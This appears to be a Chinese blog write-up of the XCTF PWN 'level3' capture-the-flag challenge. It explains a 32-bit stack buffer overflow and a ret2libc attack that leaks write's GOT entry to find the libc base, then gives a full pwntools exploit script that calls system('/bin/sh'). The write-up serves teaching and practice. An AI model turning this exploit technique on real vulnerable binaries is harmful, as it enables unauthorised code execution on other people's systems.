XCTF-PWN-Level3

XCTF-PWN-Level3

2021119

9:57

拿到题目之后使用文件查看工具发现是32位文件:

小端,没有开stack端保护?NX开启状态,PIE没有开启状态说明函数的地址在libc中是静态的

IDA32开:

主函数:

看含有漏洞处的函数:

buf创建是88h,十进制136。此时read函数中的buf创建是0x100,十进制是256,存在溢出点。

既然没有system和/bin/sh,那怎么办?所以就有了libc文件,通过得到的libc基址可以获得system函数的地址。

具体操作是这样的:

1、通过write函数got表获取write函数的地址

2、获取libc函数库中的write函数的地址

3、之后通过上述2者获得libc函数库的偏移地址

   

libc的偏移地址 = got表中write函数地址 - libcwrite函数地址

在这里要说的是同理知道了libc的偏移地址之后可以获得system函数以及/bin/sh的地址。

比方说system函数地址 = got表中的system函数地址 + libc的偏移地址

   

解题过程:

from pwn import *

sock = process("./level3")

sock = remote('ip',port)

#初始化elf以及libc

libc = ELF('libc_32.so.6')

elf = ELF('level3')

   

#获取main函数的地址

main_addr = elf.sym['main']

log.success(hex(main_addr))

   

#使用第一次漏洞获取write函数的地址

#利用方式为 libc_offset = write_got - write_libc

#写好got以及plt

write_got_addr = elf.got['write']

write_plt_addr = elf.plt['write']

#第一次泄露过程write(1,write_got_addr,4),获取writegot中的地址write_addr

payload = b'A' *136 + b'b' *4 + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

sock.sendlineafter('Input:\n',payload)

write_addr = u32(sock.recv()[:4])#这里需要接收4个字符

log.success("write_addr:",hex(write_addr))

   

#获取libc的基址:writegot中的真实地址减去libc里面的write获取到libc的真实地址

libc_offset = write_addr - libc.sym['write']

log.success("libc_offset:"+ hex(libc_offset))

   

#获取system函数真实地址以及/bin/sh的真实地址

sys_addr = libc_offset + libc.sym['system']

log.success("sys_addr:"+hex(sys_addr))

bin_sh_addr = libc_offset + libc.search(b'/bin/sh').__next__()

log.success("bin_sh_addr:"+hex(bin_sh_addr))

   

#最终pwn#需要注意调用函数还有一个deadbeef,那是用来占位的

payload = b'A' *136 + b'B'*4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

sock.sendline(payload)

sock.interactive()

   

上述脚本能成功获得flag

   

  

posted @ 2021-11-11 17:29  逆向菜狗  阅读(157)  评论(0编辑  收藏  举报